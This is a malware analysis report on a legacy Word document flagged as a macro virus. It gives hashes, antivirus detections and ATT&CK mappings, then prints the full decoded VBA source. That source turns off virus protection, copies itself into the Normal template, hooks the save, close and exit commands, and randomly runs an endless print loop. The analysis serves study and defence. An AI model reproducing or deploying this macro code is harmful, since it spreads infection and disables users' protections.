Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 610ef4adc08c3bdb…

MALICIOUS

Office (OLE)

67.5 KB Created: 1997-06-10 18:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2fe6c8ee2d1997da55f087017d029eb1 SHA-1: 130189225b70bb929046feb4ae796f770456f678 SHA-256: 610ef4adc08c3bdb73c60f3a69b6571ecdee71c6ab6c8fde6c06e6e471b1319e
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with multiple detections, including Win.Trojan.Pivis-2 and Doc.Trojan.Pomp-1. The presence of VBA macros, specifically the 'pomplastic' subroutine, indicates an attempt to copy itself to the Normal template, which is a common persistence mechanism. The macro also attempts to disable virus protection, further suggesting malicious intent. The document body contains resume-like text, which is likely a lure.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.mindspring.com/~ekrebs/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2511 bytes
SHA-256: 89e5e6789b8a17c0602afead8c2db4e91842c7a493236146eddb5a4db780ea18
Detection
ClamAV: Doc.Trojan.Pomp-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "pomplastic"
'TTAGCCTCGGAGATCATTTAGCCATGGGACAAATATAGGATCATCATCTTTCCGCCGTCCGTCCCGTAC
Sub pomplastic()
'TTAGCCTCGGAGATCATTTAGCCATGGGACAAATATAGGATCATCATCTTTCCGCCGTCCGTCCCGTAC
On Error Resume Next
Randomize
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
'TTAGCCTCGGAGATCATTTAGCCATGGGACAAATATAGGATCATCATCTTTCCGCCGTCCGTCCCGTAC
End With
ActiveDocument.ReadOnlyRecommended = False
check = Int(Rnd * 100)
If check = 3 Then Call Plaserickidot
wumpgater = 0
'TTAGCCTCGGAGATCATTTAGCCATGGGACAAATATAGGATCATCATCTTTCCGCCGTCCGTCCCGTAC
'TTAGCCTCGGAGATCATTTAGCCATGAGATCATTTAGCCATGGGACAAACCTCGGAGATCATTTAGC
Set this14you = MacroContainer
If this14you = NormalTemplate Then wumpgater = 1
If wumpgater = 1 Then ZZZlidetaherZZ = NormalTemplate.FullName Else ZZZlidetaherZZ = ActiveDocument.FullName
If wumpgater = 1 Then lastrites12345abc = ActiveDocument.FullName Else lastrites12345abc = NormalTemplate.FullName
Application.OrganizerCopy Source:=ZZZlidetaherZZ, Destination:=lastrites12345abc, Name:="pomplastic", Object:=wdOrganizerObjectProjectItems
If wumpgater = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If wumpgater = 0 Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
pumkinjuice:
End Sub
'TTAGCCTCGGAGATCATTTAGCCATGAGATCATTTAGCCATGGGACAAACCTCGGAGATCATTTAGC
Sub FileSave()
    On Error Resume Next
    Call pomplastic
    ActiveDocument.Save
End Sub
'TTAGCCTCGGAGATCATTTAGCCATGGGACAAATATAGGATCATCATCTTTCCGCCGTCCGTCCCGTAC
Sub FileClose()
Attribute FileClose.VB_Description = "Macro created 01/01/97 by Goppecker"
Attribute FileClose.VB_ProcData.VB_Invoke_Func = "Project.pomplastic.FileClose"
    On Error Resume Next
    Call pomplastic
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
    Call pomplastic
End Sub
Sub FileExit()
    On Error Resume Next
    Call pomplastic
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub Plaserickidot()
    On Error Resume Next
    ActiveDocument.PrintOut
    Call Plaserickidot
End Sub

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